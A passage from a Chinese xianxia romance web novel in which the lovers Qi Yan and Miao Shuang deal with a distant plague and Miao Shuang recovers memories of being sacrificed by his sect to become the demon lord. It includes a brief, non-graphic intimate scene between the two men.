一如两人之间逐渐胶着的空气。 祁雁倾身向他逼近,阴影笼罩下来, 低垂眼睫下的黑眸之中翻涌着克制的索求,似在问询, 又似在等待他的回应。 两人之间的身高差距让苗霜不得不抬起头来看他,伸手触上那张近在咫尺的面容,指腹在他唇瓣上轻轻摩挲,触之温暖又柔软。 和泊雁仙尊截然不同。 那位仙道魁首总是冷若冰霜,像是青锋山上终年不化的积雪,一人一剑斩万魔,护苍生,孤绝疏离,形单影只, 让人总觉得他的人和他的剑一样冷。 现在这个却不一样。 纵然初见时也对他满心戒备,沉默寡言, 可掰开了就能发现内里是热的,正如这口腔里的灼烫和柔软,让人情不自禁想要汲取那更深处的热度。 仿佛是快要成神的泊雁仙尊身上仅剩的属于人的那一块。 他勾住他的脖子,闭眼和他亲吻,让唇与舌交缠,让彼此的气息染上对方的味道。 祁雁单手撑住了门框, 微微弓身,好让他亲得更方便些,另一只手则箍住了他的腰, 越收越紧,直至将那具身体牢牢扣进自己怀中,贴在身上,继而手臂向下,勒在他腿根一托一举,将人抱了起来。 苗霜微惊,没想到这家伙居然已经能抱得动他了,本能地勾紧了他,以免自己摔下来。 一个人的重量完全压在身上,对现在的祁雁来说果然还是太勉强了,但兴致一上来又岂能克制,从门口走回卧房这点距离,倒也能够坚持。 他把苗霜放在了床上,苗霜顺手抓住了他的腰带,笑道:“怎么,将军这是要白日宣|淫?” “闲杂人等都不在,夫人难道不愿?” “把你的部下派出去干活,你却在这里享受人间极乐,你这个将军就是这么当的?”苗霜嘴上说着,手上却毫不迟疑地抽走了那条腰带。 祁雁的衣服一下子散乱开来,他凑在对方颈边轻吻,滚烫的呼吸喷洒在他耳畔:“夫人不也一样?年仅六岁的圣子被你派去疫病横行的剑南道,你却在这里与我行床笫之欢。” “小孩总是偷听,实在烦人,听就听了,还要问我这样那样的问题,”苗霜把手探进了他的衣服,“早就想赶他走了,天赐良机何不利用?” “问什么问题?” “问我们明明是仇敌,为何要做这些亲密之事。” 祁雁的眸色更深暗些:“夫人如何回答?” “能如何回答,只能说没人规定不可,我总不能告诉他,和仇敌行欢更刺激……唔!” 苗霜情不自禁地一挺腰,祁雁整个人都压在了他身上,深深埋入,漆黑眼眸直视他:“在夫人眼中,我依然是仇敌?” 苗霜向下一瞟,笑着亲了亲他的嘴唇:“你都恨不得捅死我,难道不算仇敌?” 祁雁便又捅了他两下:“夫人难道不喜欢?” “哈……” 苗霜没有亲口承认,但根据他的表现来看应该是喜欢,激烈的厮杀让床板又吱嘎作响,但好在今天没人偷听。 蛇……不算。 原本缠在苗霜手臂上的白蛇被挤到了一边,它感觉两人中间已经没有能容下自己的空隙,也不想被压成一摊蛇饼,果断溜之大吉了。 许多天未做之事再捡回来,难免比平常更凶猛些,连最后的余|韵持续的时间都比往常更久,苗霜眯着眼睛享受着体内爆炸般的热度,指尖轻轻刮弄着对方喉结边殷红的小痣。 祁雁伏在他颈边,微微气喘,他蹭了蹭对方的脸颊,哑着嗓子问:“再来一次?” 苗霜懒洋洋道:“算了吧,不知是谁昨天把自己气了个半死,刚缓过来些,克制点吧。” 祁雁只好啃了啃他的耳垂,又去吻他。 “出去。”苗霜道。 “再待一会儿。” “……” * 数日后。 两匹快马一路顺着山路疾奔,直入苗寨。 “将军!夫人!”赵戎边跑边喊,一把推开半掩的院门冲进了小院,三步并作两步跨上台阶,进了吊脚楼,热得直用手给自己扇风,“渴死我了,快给我口水喝!” 祁雁见他风尘仆仆的样子,脸都跑红了,忙给他倒了杯水:“别喊那么大声,生怕别人听不见?” 赵戎连干三杯水,快冒烟的嗓子才算缓过来了,他掏出一张已经揉得皱巴巴的信纸:“快,圣子给大巫的信——大巫呢?” 苗霜悄无声息地出现在他身后:“拿来。” 赵戎被吓了一跳,赶紧把信交给他,嘟囔道:“怎么走路一点声音都没有啊……” 姜茂这时才从后面追上来,头发十分凌乱,看起来不比赵戎好到哪去:“跑那么快,赶着去投胎?” “我这不是赶紧送信吗,多耽误一会儿,就要多死一个人哪!” 祁雁皱了皱眉:“疫病如此严重?” “别提了,”姜茂大马金刀地坐了下来,“我们一到普州,那尸体,堆积如山,官府每天烧都烧不过来,我们本来还怕进不去城,结果城门守卫一听我们是郎中,像请神仙一样把我们请进去了,那叫一个声泪俱下,求我们赶紧救救城中百姓。” “普州难道就没一个郎中?” “原本是有,有个家里世代开医馆的老郎中,可老人家八十岁了,就在疫病到来前三个月已溘然长逝,他儿子本来还在守孝,不得不硬着头皮顶上,却也是杯水车薪,每天都有人病倒,每天都有人去世,根本忙不过来啊。” “至于那些个走街串巷的游方郎中,疫病一来就忙不迭地跑了,人家说了,看病只为生计,并不想送命,这疫病来势汹汹,谁也顶不住。” 祁雁沉默。 虽然缺了那么几分医者仁心,却也无可厚非,这世道,谁都想活着,若是自己都活不下去了,又怎么顾得了别人。 “我们一到,那老郎中的儿子活像见了他死去的父亲,主动把医馆让出来给我们用,圣子见他形容憔悴,第一个病人不看别人,先给他号了脉,说他已是强弩之末,不出三日必定病倒,我们怕他病倒了,我们又少一个人手,就把那百疫解分了他一颗。” “你们做得不错,”苗霜已经看完了那封信,“郎中已是人们最后的希望,若是郎中都死了,人们只怕惊恐更甚,而一旦情绪崩溃,疾病更会趁虚而入,原本身体健康的人也会病倒。” “圣子也是这么说的,别看才六岁,说起这些话还有模有样的,他让人们不要惊慌,又给几个重症患者把了脉,然后开了副药方。” 赵戎说着挠了挠头:“郎中儿子看完那药方,都愣住了,说这些药他们城里的药铺根本没有,或者说……这些药材,基本都是毒药。” 苗霜:“那是自然,圣子是我一手教出来的,我传授给他的药方,当然和你们汉人不同,是毒还是药只看如何使用,将几种毒性相克的毒放在一起,便解毒成药,而将药性相克的药一起烹煎,则化药为毒。” 赵戎一脸茫然,看起来完全没听懂。 “后来如何了?”祁雁问,“既然城中找不到药材,你们怎么解决?” 赵戎回过神来:“哦,那郎中儿子虽将信将疑,还是主动联系药商帮我们搜罗药材,又上报了官府,结果当天晚上,这药材居然凑齐了,我们赶紧煎了药给病人分下去,那药的味道实在一言难尽啊,刚开始没人敢喝,有个快死的妇人带着孩子,第一个喝了,然后大家就陆陆续续都喝了。” “效果如何?” “这……我不知道,因为圣子说他不是很有把握,就写了信让我们赶紧送给大巫,煎完药我们就走了,还不知道效果如何。” “那些病人的症状,还有这药方,他都已经附在信里,我看了,没问题,”苗霜拿起笔来,“不过还是太保守,治疗轻症是足够了,治疗重症却力有不逮,或可暂时维持不至致命,根治起来恐怕时间太久。” 他大笔一挥又在信纸上添改几笔,递给赵戎:“拿去,交给圣子,我去给你们找药材。” 赵戎接过那张信纸,上面全是鬼画符一样的文字,他没忍住道:“我还是想问,您到底是怎么看懂的?这信上……都是些什么东西啊?” “这是苗文,你当然看不懂了。” “……” 苗霜出门找药去了,赵戎只好在屋里等,等着等着,他视线忽然落在祁雁颈侧。 一点红痕从领口露了出来,赵戎指了指自己的脖子,冲他示意:“将军,您这……” 祁雁一顿,赶紧拉了拉衣领遮掩:“虫子咬的。” “连您都会被咬啊!”赵戎仿佛找到了知己,“这山里的毒虫,太可恶!一不留神就给我叮出好几个包!” 姜茂抬头望天,很不想承认自己和他是同一支先锋小队出来的:“大巫明明有给我们驱毒虫的药粉,是你自己不肯用。” “什么?”赵戎震惊,“在哪呢?你怎么早不说?” “……” 赵戎赶紧跟他讨了药粉抹上,又有些疑惑地问:“既然大巫有药,将军怎么还会被咬?” 姜茂:“求你闭嘴。” “……你还是别叫我将军了,”祁雁十分头疼,感觉自己迟早有一天要被这不长脑子的家伙卖了,“换个称呼吧。” “我同意,”姜茂表示赞成,“刚刚有人一路喊着将军上来,我都怕被那些苗民听见。” “我那是着急,而且我是走到院子外才喊的,这附近哪有别人?你别污蔑我。”赵戎为自己辩解,“那你说不叫将军,叫什么?” “直接喊我名字吧。”祁雁道。 “祁、祁兄?不行不行,这也太不敬了!”赵戎满脸为难,忽然他脑中灵光一闪,“对了,我记得将军字‘鸣川’,要不……鸣川兄?” 姜茂点头:“我觉得可以。” 赵戎大喜:“那就这么定了,鸣川兄!” 祁雁叹口气。 算了,至少比喊已死的“将军”强,随他去吧,反正那些苗民不知道他字鸣川。 刚找完药材的苗霜走到门口,恰好听到了这句。 他脸色猛地变了,难以置信道:“你们……叫他什么?” 赵戎疑惑回头:“鸣、鸣川兄啊,怎么了?” “……没什么。”苗霜迅速回神,将手里的东西放在桌上,以免因为手抖而不慎将虫罐打碎。 他定了定神,强行压下心中惊涛骇浪。 鸣川兄? 鸣川……师兄? 第66章 第 66 章 落晚师弟,承蒙关照。…… 这个名字出现在脑海中的一瞬间, 头不可抑制地疼了起来。 苗霜垂下眼帘,佯作镇定,打开搬来的箱子:“所需的药材有两味比较特殊, 我这里有一些,都给你们了, 记得省着点用,只治疗重症, 如果用完了你们就得自己想办法。” 说着又打开另一箱,里面是码放整齐的虫罐,他摸出骨刃割破了自己的手掌,将血滴进虫罐当中。 赵戎吃惊道:“这是在干什么?” “用我的血催生这些蛊虫,”苗霜给蛊虫喂完了血,将虫罐一一盖好,又在罐与罐之间的空隙处塞上茅草,以免在颠簸中磕碰,“等你们到了地方, 这些蛊虫也已成熟,你们把东西都交给圣子, 他知道该怎么用。” 赵戎点头:“好。” 他们急着赶回普州,也没多做停留,一人背一个箱子就准备离开。 祁雁看了看苗霜,总觉得他哪里不对劲,却又说不上来是哪里不对,低声问:“夫人……没事吧?” 苗霜瞥他一眼:“什么事?” 祁雁想了想, 试图解释:“鸣川的确是我的字,我以为夫人知道,这……应该不算刻意隐瞒吧?” 苗霜:“……” 重点是这个吗? 他现在思绪很乱, 完全没空管什么隐瞒不隐瞒的问题,头疼得越来越厉害了,仿佛有什么尘封已久的记忆呼之欲出,只差薄薄的一层窗纸。 鸣川师兄……到底是谁? 他迫不及待地想要支开祁雁,随口扯了个理由:“你去送送他们,告诉姜茂那些蛊虫和药材都不能暴晒,让他们路上注意些。” 祁雁虽心中怀疑,但还是应下:“好。” 他一直送赵戎他们出了院门,而苗霜果断上了二楼,再次翻出了道士景行送他的香。 香已经用去一截,他点燃了剩下的部分,试图让那幽邃的香气抚平躁动的思绪。 鸣川……师兄…… 苗霜闭上眼睛,让自己沉入到纷杂的记忆当中,一千七百年的记忆犹如广袤无垠的大海,冰冷的海水瞬间将他吞没,他强行按捺住了想要挣脱的求生本能,任凭自己在记忆的海洋中沉没,越坠越深。 周遭是刺骨的寒冷,被泊雁仙尊一剑斩杀的寒意似乎还未消退,窒息的痛苦从四面八方压来,他感觉到自己不停下沉,下沉,直至沉进漫无边际的黑暗之中。 可在那极深极浓的黑暗里,又似乎有一束白光亮起,他听到那白光里有声音传出,那是属于少年的清朗嗓音: “弟子苗霜。” “祁雁。” “愿拜入青锋派,一心向道,叩问仙缘,斩妖除魔,护佑苍生,请三清祖师,为弟子见证!” 那白光在他面前倏然扩大,将他拉入旧时之景,那景象斑驳褪色,人却鲜活如栩,他看到高大的三清像伫立眼前,两个少年跪于蒲团之上,虔诚叩首。 视线之外似有模糊的人影,他却看不清楚,注意力只落在那两个少年身上,他们一同起身,年长些的那个转过头来,露出一张熟悉到不能再熟悉的脸。 祁雁。 少时的祁雁。 他看上去不过十八九岁,眉眼清清冷冷,纯净如青锋山上洁白的积雪,不染任何尘世纷杂。 画面一转,他们已不在庄严的三清殿,而在青锋山蜿蜒盘绕的小路上,那自称苗霜的少年踩着路边的积雪,脸上的笑容一如天上明艳的日光,嗓音热情又清脆:“你我同一天拜入师门,但你年长我一岁,我就叫你师兄啦!” 那少年祁雁神色依然淡淡,目光却温和:“好,那我便喊你师弟。” 两人走进山路拐弯处的亭台,山壁陡峭,亭台之外便是万丈深渊,苗霜倚在栏杆上,张开双臂,鬓发被寒风扬起,他却好像不觉得冷。 “虽然拜师时已经认识了,可还没做正式的自我介绍呢,”他转过身来,看向祁雁,“我叫苗霜,落霜的霜,据说我出生时大哭大闹,我爹娘嫌我太吵,就给我起了这个名字,希望我能‘冷’一些,可惜事与愿违——师兄,你呢?” “祁雁。” “燕子的燕?” “大雁的雁。” “好少见的字眼,”苗霜思索了一会儿,“归雁南飞,是你爹娘怕你离家,才望你岁岁年年如归雁?” “不,”祁雁远眺着连绵的雪山,“是我出生那日,墙头飞过一只离群的孤雁。” “……”苗霜愣了一下,“那也太寂寞了吧!” 他拉住祁雁的胳膊,继续向山上走去:“不过没关系,有我在,师兄不会寂寞!” 画面又是一转。 “师兄,今日师尊问起我们求仙问道的缘由,你是怎么答的?” “师弟是如何答的?” “我说尘世正值战乱,生计艰难,我爹娘不想我受苦,便寻了位道长送我来寻仙避难,”苗霜脸上难得有些愁容,似是内心忐忑,“我这样说,会不会显得我道心不纯啊?” 祁雁摇了摇头:“这样的弟子不在少数,只是大多天资不够,做了外门,师弟既能被掌门师尊收为亲传弟子,就说明有这份仙缘。” 苗霜被他安抚,紧皱的眉头又舒展开,安心了不少:“那师兄你呢?” “我?我不知道。” “什么叫不知道?”苗霜十分惊讶,“师尊问你求仙问道的理由,你就说不知道?” “嗯,”祁雁的语气依然淡淡的,仿佛只是在平静地讲述一件无关紧要的小事,“我只是无处可去,求仙也好,入仕也好,行商也好……走到哪里就算哪里,只是恰好听闻青锋派招收弟子,我便来碰碰运气,仅此而已。” “啊……”苗霜愣住,“你也太随便了吧……” 祁雁并不反驳:“家人总说我不合群,我不知该怎样融入他们,也不知道该说什么,身边有许多人,我却好像离群索居,干脆便离开了家,一个人随处走走,也不必和他人交流,反而自在些。” 他说着看向身边的人:“师弟也会觉得我不合群吗?” 此刻的苗霜读不到彼时苗霜的想法,却忍不住在心里脱口而出:“哪只眼睛看也不像合群的。” “师兄……”少年的苗霜终究是说不出太硬的话,委婉道,“我听说,那些元婴大能,化神老祖,大多性情古怪,说不定师兄你天生就是修仙的料呢?” “嗯,”祁雁竟认真地听进去了,“借师弟吉言。” 此刻的苗霜:“……” 哈。 祁雁少年时竟是这种性子,还真是…… 画面又变了。 这一次终于不再是素白的雪景,一望无际的雪野被晚霞染得橙红,像是熊熊燃烧的火。 “师兄,师尊让我们给自己取仙名,你想好了没?” “还没,师弟可有主意?” “我也还没想好,”苗霜望着火红的晚霞,脸颊也被映得温暖而明媚,“取了仙名,就算彻底和尘世告别,师兄,你会想家吗?” “不会。” “料你也不会,”苗霜有点无奈,“可我却有些想家了。” 祁雁没有接话,也许是不知道怎样安慰人,也许只是无话可说,只默默陪他站在这里,欣赏这晚霞映雪的美景。 忽然,一行大雁从天边飞过,苗霜兴奋地伸手去指:“师兄快看!这青锋山上居然能看到大雁……它们飞得好高啊!” 祁雁顺着他的指向看去,如火烧过的天幕之上,大雁南飞,人间又是一轮四季变幻,而青锋山上的积雪终年不化。 那一行大雁很快隐入云层之中,不见了踪影,苗霜收回视线,从天边的雁看向身边的雁。 “泊雁鸣深渚,收霞落晚川,”他看着他,笑道,“与世隔绝的青锋山,正如水中之岸,离群的孤雁也可在此停泊,师兄,你的仙号我都为你想好了,待你日后修成大道,便让他们唤你……‘泊雁仙尊’,如何?” 祁雁喃喃:“泊雁……” “至于名字嘛……”苗霜歪了歪头,琢磨了一会儿,“泊雁鸣川,祁鸣川,师兄觉得怎么样?” 祁雁偏过头来。 滚烫的晚霞映红他雪白的道袍,就算冷淡如高山之雪,此刻也热烈如炽盛暖阳。 他素来缺乏表情的脸上露出一抹不易察觉的笑意,冷峻的眉眼竟也温和起来:“好,就听师弟的,我的仙名,就定为‘鸣川’。” 见他肯采纳自己的建议,苗霜笑得十分开心,抓住他的胳膊轻轻摇晃:“师兄有朝一日真当上了仙尊,可一定要罩着我,你要是成了仙道第一,那我就当——仙道第一的师弟。” “也许是师弟先成为仙尊呢?” “那怎么可能,怎么看也是你资质更高吧?师尊都说了,你的天资千年难遇,哪怕你说你来青锋派只是随便看看,他都不生气的!” “那好,我若成泊雁仙尊,一定罩着师弟,普天之下无人能欺负你。” “哈哈!你认真得我都不好意思了。” “师弟可有想好自己的仙名叫什么?”祁雁问,“若想好了,明日我们一同去找师尊。” “我啊……”苗霜的笑容淡了下来,再次抬头远望,“我还是舍不得我爹娘给我起的名字,可这晚霞甚美……不如,我就叫‘落晚’?” “泊雁鸣川,霜落晚?”祁雁点了点头,“如此,落晚师弟,承蒙关照。” 第67章 第 67 章 等你杀我,又或救我 落晚…… 是了, 他想起来了,全都想起来了。 他是青锋派弟子,苗落晚, 和泊雁仙尊师出同门。 两人同一天拜入青锋派,那日, 百年未曾收徒的青锋派掌门亲自出山,将他们二人收为亲传弟子, 祁雁年长他一岁,他便唤他一声师兄。 从此两人相伴在青锋山上修行,总是同进同出形影不离,曾一度被门内弟子称为“青锋双子”。 只是好景不长。 青锋派乃仙门第一大派,肩负除魔卫道、护佑苍生的重任,门内半数以上弟子皆修苍生道,祁雁修行此道,而他苗霜……亦然。 既修苍生道,便心系苍生, 必要的时候,也可以为了苍生牺牲自己。 苗霜抬起头来, 脸上露出一个嘲讽至极的笑容。 鸿蒙之初,人、妖并立,妖族体魄强健,嗜血好战,孱弱的人族修士完全无法和妖族抗衡,往往几十人合力难以困杀一头低阶妖兽, 妖族所过之处尸横遍野,人族闻风而逃。 势弱的人族一直被压着打了数千年,凭借武器、法宝才得和妖族一战之力, 然而某次人族修士意外猎杀了妖王之子,惹妖王大怒,倾全族之力向人族开战,那一夜血光冲天,人族修士的血几乎染红了天地。 自此一役,人族元气大伤,高阶修士几乎全部殒落,人族心灰意冷,仙门数量在一夜之间减损过半。 而正在此时。 仿佛是末路穷途时必能绝处逢生,一位仙道天才横空出世,以其自创的独门功法“青冥心诀”救人族于水火,习此心诀可稳固道心,排除杂念,使修为突飞猛进,冲击境界瓶颈不费吹灰之力。 凭此功法,这位仙道天才一夜之间从寂寂无名到万人拥簇,他借此机会团结了各道修士,建立起修真界最大的仙门,青锋派,而他本人也被尊称为“青冥君”,成为仙道魁首。 青冥君心系苍生,不吝啬独门功法,不但给门下弟子修行,甚至直接将秘籍公开,无偿赠与所有人,很快这门功法就人手一本,成了所有人族修士的心法基础。 有了青冥心诀的人族修士们再也不惧强悍的妖族,短短几百年就颠倒了人族与妖族间的地位,从此,人族取代妖族,立于众生之巅。 但凡事必有代价。 人生来而有七情六欲,修道本是逆天而行,借助功法强行将杂念剥离己身,那么这些干扰人修行的七情六欲,又落往何方? 最初,人族修士并没有发现异常,包括青冥君自己,可忽有一日,有青锋派弟子前往天露池采集仙草,却一去不返,同门师兄弟自发前去寻找,竟也就此失去音信。 此事很快传开,青锋派弟子这才知道,原来他们的师兄弟并不是第一批失踪的仙门弟子,近些年来已有百人在天露池迷失。 天露池终年云雾缭绕,如天降露,故名“天露”,附近灵气充沛,群山环绕,孕生诸多稀奇仙草,常有弟子进山采之,而近年来,天露池的气候却逐渐诡异,雾气中瘴毒横生,修士接近必被感染。 许多弟子因此殒命,侥幸逃出来的,也状若疯癫,性情大变,争强好斗残忍嗜杀,再难为仙门所容。 青冥君听闻此事,亲往天露池探查,这才发现此地地形低洼,乃修真界灵气汇聚之所,而那些因青冥心诀被修士们排除的杂念、恶欲也随着灵气一并汇聚于此,彼此侵染,不断凝结、沉淀。 这些庞杂的恶欲已然超过了青冥心诀能抵挡的极限,故而修士们乃至妖族途经此处,必被恶念侵袭,自此离经叛道,走火入魔。 魔修,由此诞生。 青冥君这才明白自己的功法给修真界带来了什么,一度想将青冥心诀收回,可惜为时已晚,尝到甜头的修真者们怎么可能放弃到手的力量和地位,天露池孕生出魔又与他们何干,只要他们不去就行了。 可他们完全低估了这些恶念究竟有多庞杂,短短百年间,由恶欲凝结而成的瘴气向天露池外扩散,弥漫了半个修真界,被感染的修士越来越多,每天都有数不清的人堕入魔道,魔修的力量一度超过了妖族,隐隐有和仙道修士比肩的趋势。 此时的青冥君已是骑虎难下,人们不愿交还功法,一旦功法废除,会引起反噬不说,妖族也有可能卷土重来,可如若坐视不理,魔修迟早有一天要与仙道争锋。 两难之中,青冥君做出了一个影响后世数千年的决定——他决定亲往天露池,以身镇魔。 青冥君以一己之力搬山填海,让外溢的瘴气聚于山中之池,再将所有的恶念纳入己身,金丹化为魔丹,仙尊堕为魔尊。 临出发前,他将青锋派掌门之位传于自己的师弟,并命令师弟亲手结束他的性命,新任掌门以仙术诛杀了已入魔道、神志癫狂的青冥君,雷霆万钧之下,神魂俱灭。 天露池瘴气散尽,修真界再次迎来了安宁,但为了保护青冥君的声望,也为保护青锋派的地位,新任掌门选择了隐瞒此事。 他只道青冥君修成大道,破碎虚空而去,只道那实力强横的大魔已被自己一剑斩杀,人们欢呼雀跃,拥他为新一代仙道魁首,称赞青锋派又一次救苍生于水火。 没人知道,那个被万人唾骂的大魔,就是曾经万人敬仰的青冥仙君。 但青冥心诀留下的影响不会消失,从那以后,青锋派的任务又多了一项,历代掌门会从所有弟子中挑选资质最佳的两人,命道心最纯正的那个前往天露池,以身镇魔,待到所承载的魔气达到极限,再让道心最坚定的弟子杀之。 是为,青锋双子。 …… 苗霜是在被掌门师尊选中时才知道这些的。 青冥君的过往早已随着时间而湮灭,历代掌门保守了这个秘密数千年,只有在选择新一代青锋双子时才会将秘密道出,而活下来的那个就是新一任掌门,因此世上知道这件事的,永远不超过三个人。 他还记得那天,他和祁雁一起跪在师尊面前,祁雁一向冷淡的脸上第一次露出了名为震惊的表情。 他记得师尊威严的声音问道:“你们谁愿往?” 一时间两人都没说话,他听到师尊又说:“身为青锋派弟子,以护佑苍生为己任,牺牲一人拯救亿万人,以证大道,你们有什么好犹豫的?” 牺牲一人救天下苍生……听起来的确是笔划算的买卖。 “给你们三天时间考虑,”师尊说,“若不自告奋勇,三天后,便由我来指定,你二人为本座弟子,不可不从。” 苗霜不记得那天自己在地上跪了多久,直到他看见身边的祁雁起了身,对他说:“师弟,我去。” 他说着就要去找师尊,苗霜却将他一把拉住,他不敢看他的眼睛,只紧紧抓住他的袖口,努力不让自己的嗓音颤抖:“师尊不是说……给我们三天考虑时间吗,不如我们三天后一起去找他,这么重要的事,该郑重些。” 祁雁犹豫了一下,也不疑有他,将他从地上拉起来:“也好,那我们三日后一起去。” 苗霜和他一起离开了师尊的仙居,路上,他问道:“师兄为何这么快就做出了决定,毫不犹豫?” “既入仙门,便守仙门之规,青锋派历代都如此,你我理当遵守。” “哪怕以身殉道?” “殉道亦为证道,殉此身为天下人,有何不可?” “可我从不知道历代魔尊都是青锋派弟子,世人唾骂魔尊为祸一方,却从没人知道他们付出了什么,以身殉道还要背负骂名,师兄,值得吗?” “大道在心,而不在旁人之口,既无愧于心,何必在意生前身后名?” “……” “只是可惜了。”祁雁眺望着远方群山,忽然开口。 “可惜什么?” “可惜与师弟的承诺恐要食言,今后,只怕没办法再罩着师弟。” 苗霜不记得自己后来又说了什么。 他只知道,师尊口中道心最坚定的弟子,一定不是他。 于是他也做出了一个决定。 在和祁雁约定好一起去找师尊的一个时辰前,他偷偷自己先到了。 他接过了师命,收拾好行装,在青锋山的仙阶前拜别。 他向着云雾缭绕的仙山重重磕头,那直插云霄的仙山下窄上宽,形似一把宝剑,剑锋之下,妖魔无所遁形。 他记起这数年修道的日日夜夜,记起祁雁的脸,一幕幕匆匆在眼前闪过,犹如走马观花。 修了这么多年仙,却没修出个什么名堂,修为早已和祁雁差出几个境界,他自知不是修仙的材料,愧对师尊教诲,甚至怀疑师尊收自己时看走了眼,他若真天资过人,又怎会原地踏步。 他当不了这修真界的执剑人,拿不起那三尺青锋,或许,还是去天露池当魔尊更适合他。 他头也不回地离开了青锋山,却在山脚被姗姗来迟的祁雁追上。 祁雁御了仙法,以最快的速度追赶上来,截住他的去路,那是他记忆中祁雁第一次动怒,一向冷淡的眉头紧拧,厉声质问他:“我们不是说好的,一起去找师尊?!” “我改主意了,”苗霜看着他,只是笑,“我还是不想让师兄食言,既然答应了就要做到,说话算话。” 他绕过他就要往前走去,祁雁却执拗地再次拦下他:“不可!” “为何不可?难道师兄能证道,我就不能?让开,你没资格管我。” “我若执意要管呢?!” 苗霜回过身,遥遥指向那云雾中的青锋山:“那你便做那仙门首座,无人压在你头上时,你便可以号令所有人。” 祁雁抬起头。 苗霜按住他的肩膀,低声说:“从没有什么必须遵守的宗门仙规,你我只是身不由己,你去还是我去都一样。师兄,你若想改变这一切,首先要变得比所有人都强。” “我在天露池——不,我在万魔峰等你。” “等你杀我,又或救我。” 第68章 第 68 章 祁雁不肯杀他,那他来杀…… 万魔峰…… 没错。 青冥君搬山填海, 将天露池封进了山中,自此以后那山中之池,就成了历代魔尊修炼之所, 因历代魔尊皆以此为据点,群魔环绕, 故得名“万魔峰”。 竟没人觉出不妥,毕竟那是整个修真界魔气最重的地方, 魔众在此聚集也是理所应当。 苗霜还记得万魔峰的景象。 因常年魔气肆虐,植物大量枯死,曾经风景秀丽的天池成了环境险恶的魔窟,存活下来的植物也发生异变,仙草成了毒草,不仅有剧毒,甚至会吃人。 聚集在那里的魔众可谓无恶不作,肆无忌惮地屠戮修仙者,彼此之间也互相残杀, 杀人夺宝之事几乎成了他们的日常。 那里没有规则,只有弱肉强食胜者为尊, 人性之恶在这里上演得淋漓尽致,苗霜到万魔峰的第一天,身上的行囊就被洗劫一空。 他一度以为自己当不上魔尊,就会被那些残忍嗜血的魔修撕碎,可当他踏进天露池时,他终于明白了一切。 浓郁的魔气让他几乎喘不过气, 本能地御起心法想要抵挡,却没想到,附近的魔气更加疯狂地向他汇聚而来。 那一天他终于知道了, 原来他所练功法本就和别人不同,同门师兄弟修习的皆是青冥心诀的正练版,而他拿到的,是一本逆练心法。 正练青冥心诀,可稳固道心,使杂念排除己身,而逆练青冥心诀,则将所有恶欲收归己有,引人入魔。 他坐在血一样的池水里,任凭数不清的恶念冲击自己的灵台,他头痛欲裂,却笑出了声。 原来,师尊从没给过他们选择。 原来他在拜入青锋派的第一天,就已注定要成为弃子。 无尽的恨意自心头升起,他感觉自己将要被撕碎,甚至无法分清那些恨意是来源于外物还是来源于自身,庞杂的魔气冲刷着他的经脉,汇于丹田,那里终于结出了丹,却是一颗魔丹。 一直卡着他的境界瓶颈就这样消失无踪,突破来得太快,太轻松,他终于体会到了青冥心诀的威力,它不光能让修仙者日进千里,逆练之后,对于魔修竟也同样适用。 哈…… 他的笑声回荡在山洞之中,一夜之间青丝化雪,他看着池水中映出自己的影子,眼瞳的颜色变得和血色的池水一样红。 什么狗屁苍生道,什么舍己为人……不过是那些正道修士一己私欲,不愿舍弃唾手可得的力量和地位,不愿放弃能让他们的修炼事半功倍的青冥心诀。 青冥君……救了这天下,终究又害了这天下。 人排除再多杂念,也排除不了心中贪欲。 青冥君以身镇魔,将魔气涤荡一空时,本是最佳的毁去青冥心诀的机会,魔气再次聚集需要许多年,可新任青锋派掌门,却偏偏没这么做。 谁又能分得清,他究竟是为了保护青冥君的声誉,还是为了稳固自己的地位,究竟是为了天下苍生,还是为了一己私欲。 这样的机会,每一任掌门都有一次。 一代又一代的天选弃子为之牺牲,却无一人肯动那青冥心诀半分,究竟是积重难返,还是历任掌门也早已沦为坐享其成的一员。 一切的一切,不过是一场骗局。 人心早在温室中生出骄矜,又有谁愿意居安思危,那一天,苗霜终于看透了他们,看透了整个修真界。 他敬重的师尊欺骗了他,他心之所向的门派欺骗了他,这世上究竟又有谁还能信任,会是他的鸣川师兄吗? 可鸣川师兄就是下一任青锋派掌门,他是否会重蹈所有先辈们的覆辙,再将同样的结局上演一次。 怀疑的种子在心中萌发,便一发而不可收拾,苗霜举目四望,却举目无亲。 没人可以信任。 只有他自己站到那众生之巅,那些高高在上的正道修士们才会多看他一眼。 他不愿当个牺牲者,不想成为弃子,他不明白,为什么是他? 凭什么是他? 凭什么他便不是芸芸众生的一员,不能在青锋派庇佑之下,凭什么是他来背负一切,献上自己的性命,还要承担永世骂名? 他得不到的,其他人也别想得到。 该死的青锋派。 既然他们要庇佑苍生,那他便毁了苍生,既已成魔,不如就杀他个痛痛快快! …… 可为什么,到头来,他已站在那众生之巅,被拥立为万魔之首,依然没将刀尖对准青锋派,没和天下苍生决一死战? 他竟忘了。 青锋派顾名思义,派内弟子多修剑术,可他不同。 他修的是医。 医者仁心,到了最后,他竟也下不去手残害那些无辜之人。 盘踞在万魔峰一千七百年,将各路魔众汇聚于此,却给他们定下规矩,不准他们杀人夺宝,不准他们离开万魔峰半步,不扩张地盘,只要不是那些正道修士犯贱打进来,他们就不能杀他们。 魔众不满,他镇压,修习多年的医术终于也派上用场,他知道怎样救人,亦知道怎样杀人,天露池孕生的恶花毒草为他所用,瘴气、血池……他杀起那些反叛的魔来也是毫不手软。 时间久了,便再没人敢挑衅他的权威,可他深知魔众只是表面对他恭敬,实则等着他落难,时刻准备反咬他一口。 当了一千多年魔尊,身边依然无一人可信。 好窝囊的魔尊,好没用的魔尊。 空有一颗祸世之心,到头来,却不过是和祁雁殊途同归。 视野朦胧,他仿佛还在雾气弥漫的天露池里,冰冷的池水浸透了全身,数不清的恶念在耳边叫嚣,满腔怒火无处发泄。 起初他还在等鸣川师兄,可等着等着,就将他忘了,魔念蚕食他的神志,他心里除了恨已经剩不下其他,他忘了他们在青锋派一起修道的种种,忘了那个鸣川师兄,脑海里只剩下已继任掌门的泊雁仙尊。 他总觉得自己在等什么,却又不知道自己在等什么,只日复一日地在万魔峰上徘徊,日复一日地看着青锋派所在的方向,那万仞之山高悬天际,犹如一把插在大地上的宝剑。 他终有一日会死在那把剑下,那是正道修士的剑,是青锋派的剑,是祁雁的剑。 时间久了,他再难以控制自己,被魔念侵蚀的他像是一头发狂的野兽,魔气一次又一次失控,泊雁仙尊一次又一次从遥远的天边赶来,将他镇压。 只有在和祁雁交手时,他能赶到一丝久违的畅快,普天之下已没人能接得住他一招,他捏死那些正道修士如同捏死一只蚂蚁,无趣……无趣!只有祁雁能与他酣战。 